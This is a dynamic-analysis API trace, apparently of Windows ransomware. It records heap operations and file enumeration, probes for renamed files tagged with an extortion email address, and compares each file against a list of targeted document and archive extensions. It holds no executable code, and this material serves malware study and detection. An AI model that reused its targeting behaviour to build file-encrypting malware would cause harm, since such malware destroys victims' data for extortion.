	[0190.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.349] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.349] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.349] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.351] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.351] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.351] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.353] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.353] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.354] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.354] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.354] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0190.354] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.355] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0190.355] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.355] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0190.358] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.361] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.361] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0190.361] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.362] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.362] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.362] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.362] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.363] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.363] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.363] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.363] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.364] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.364] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.364] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.366] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.366] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.366] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.366] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.366] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0190.373] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0194.567] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x51c1020, Size=0x200000) returned 0x57f3020

Thread:
	id = 47
	os_tid = 0xdcc

	[0165.136] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e00958
	[0165.137] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e10960
	[0165.137] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6731a0
	[0165.137] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbf88
	[0165.137] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673200
	[0165.137] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x40ce020
	[0165.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673218
	[0165.140] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673218, Size=0x20) returned 0x64d838
	[0165.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.140] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.140] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.140] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.140] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x0) returned 1
	[0165.141] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.141] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.141] Sleep (dwMilliseconds=0x64) 
	[0165.351] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1
	[0165.351] lstrlenW (lpString="desktop.ini") returned 11
	[0165.351] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0165.351] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=129) returned 1
	[0165.351] CloseHandle (hObject=0x348) returned 1
	[0165.351] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0165.351] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[vip76@protonmail.com].html")) returned 0x26
	[0165.352] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.352] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.352] lstrlenW (lpString=".doc") returned 4
	[0165.352] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0165.352] lstrlenW (lpString=".docx") returned 5
	[0165.352] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0165.352] lstrlenW (lpString=".pdf") returned 4
	[0165.352] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0165.352] lstrlenW (lpString=".xls") returned 4
	[0165.352] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0165.352] lstrlenW (lpString=".xlsx") returned 5
	[0165.352] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0165.352] lstrlenW (lpString=".ppt") returned 4
	[0165.352] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0165.352] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.352] lstrlenW (lpString=".zip") returned 4
	[0165.352] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0165.352] lstrlenW (lpString=".rar") returned 4
	[0165.353] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0165.353] lstrlenW (lpString=".bz2") returned 4
	[0165.353] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0165.353] lstrlenW (lpString=".7z") returned 3
	[0165.353] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0165.353] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.353] lstrlenW (lpString=".dbf") returned 4
	[0165.353] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0165.353] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.353] lstrlenW (lpString=".1cd") returned 4
	[0165.353] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0165.353] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.353] lstrlenW (lpString=".jpg") returned 4
	[0165.353] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0165.353] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.353] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.353] lstrlenW (lpString=".doc") returned 4
	[0165.353] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0165.353] lstrlenW (lpString=".docx") returned 5
	[0165.353] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0165.353] lstrlenW (lpString=".pdf") returned 4
	[0165.353] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0165.353] lstrlenW (lpString=".xls") returned 4
	[0165.353] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0165.353] lstrlenW (lpString=".xlsx") returned 5
	[0165.353] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0165.353] lstrlenW (lpString=".ppt") returned 4
	[0165.353] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0165.354] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.354] lstrlenW (lpString=".zip") returned 4
	[0165.354] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0165.354] lstrlenW (lpString=".rar") returned 4
	[0165.354] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0165.354] lstrlenW (lpString=".bz2") returned 4
	[0165.354] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0165.354] lstrlenW (lpString=".7z") returned 3
	[0165.354] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0165.354] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.354] lstrlenW (lpString=".dbf") returned 4
	[0165.354] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0165.354] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.354] lstrlenW (lpString=".1cd") returned 4
	[0165.354] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0165.354] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0165.354] lstrlenW (lpString=".jpg") returned 4
	[0165.354] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0165.354] Sleep (dwMilliseconds=0x64) 
	[0165.744] Sleep (dwMilliseconds=0x64) 
	[0166.015] Sleep (dwMilliseconds=0x64) 
	[0166.330] Sleep (dwMilliseconds=0x64) 
	[0166.653] Sleep (dwMilliseconds=0x64) 
	[0167.005] Sleep (dwMilliseconds=0x64) 
	[0167.307] lstrcmpiW (lpString1=".p7b", lpString2=".html") returned 1
	[0167.307] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0167.307] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.570] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4662) returned 1
	[0167.570] CloseHandle (hObject=0x428) returned 1
	[0167.570] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0167.570] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.573] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString=".doc") returned 4
	[0167.577] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0167.577] lstrlenW (lpString=".docx") returned 5
	[0167.577] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0167.577] lstrlenW (lpString=".pdf") returned 4
	[0167.577] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0167.577] lstrlenW (lpString=".xls") returned 4
	[0167.577] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0167.577] lstrlenW (lpString=".xlsx") returned 5
	[0167.577] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0167.577] lstrlenW (lpString=".ppt") returned 4
	[0167.577] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString=".zip") returned 4
	[0167.577] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0167.577] lstrlenW (lpString=".rar") returned 4
	[0167.577] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0167.577] lstrlenW (lpString=".bz2") returned 4
	[0167.577] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0167.577] lstrlenW (lpString=".7z") returned 3
	[0167.577] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString=".dbf") returned 4
	[0167.577] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString=".1cd") returned 4
	[0167.577] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0167.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.577] lstrlenW (lpString=".jpg") returned 4
	[0167.577] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString=".doc") returned 4
	[0167.578] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0167.578] lstrlenW (lpString=".docx") returned 5
	[0167.578] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0167.578] lstrlenW (lpString=".pdf") returned 4
	[0167.578] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0167.578] lstrlenW (lpString=".xls") returned 4
	[0167.578] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0167.578] lstrlenW (lpString=".xlsx") returned 5
	[0167.578] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0167.578] lstrlenW (lpString=".ppt") returned 4
	[0167.578] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString=".zip") returned 4
	[0167.578] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0167.578] lstrlenW (lpString=".rar") returned 4
	[0167.578] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0167.578] lstrlenW (lpString=".bz2") returned 4
	[0167.578] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0167.578] lstrlenW (lpString=".7z") returned 3
	[0167.578] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString=".dbf") returned 4
	[0167.578] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString=".1cd") returned 4
	[0167.578] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0167.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0167.578] lstrlenW (lpString=".jpg") returned 4
	[0167.579] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0167.579] Sleep (dwMilliseconds=0x64) 
	[0167.912] Sleep (dwMilliseconds=0x64) 
	[0168.171] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.171] lstrlenW (lpString="auxbase.xml") returned 11
	[0168.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.198] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1434) returned 1
	[0168.198] CloseHandle (hObject=0x46c) returned 1
	[0168.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0168.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.199] lstrlenW (lpString=".doc") returned 4
	[0168.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.199] lstrlenW (lpString=".docx") returned 5
	[0168.199] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.199] lstrlenW (lpString=".pdf") returned 4
	[0168.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.199] lstrlenW (lpString=".xls") returned 4
	[0168.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString=".xlsx") returned 5
	[0168.200] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.200] lstrlenW (lpString=".ppt") returned 4
	[0168.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString=".zip") returned 4
	[0168.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.200] lstrlenW (lpString=".rar") returned 4
	[0168.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString=".bz2") returned 4
	[0168.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString=".7z") returned 3
	[0168.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString=".dbf") returned 4
	[0168.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString=".1cd") returned 4
	[0168.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString=".jpg") returned 4
	[0168.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.200] lstrlenW (lpString=".doc") returned 4
	[0168.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString=".docx") returned 5
	[0168.201] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.201] lstrlenW (lpString=".pdf") returned 4
	[0168.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString=".xls") returned 4
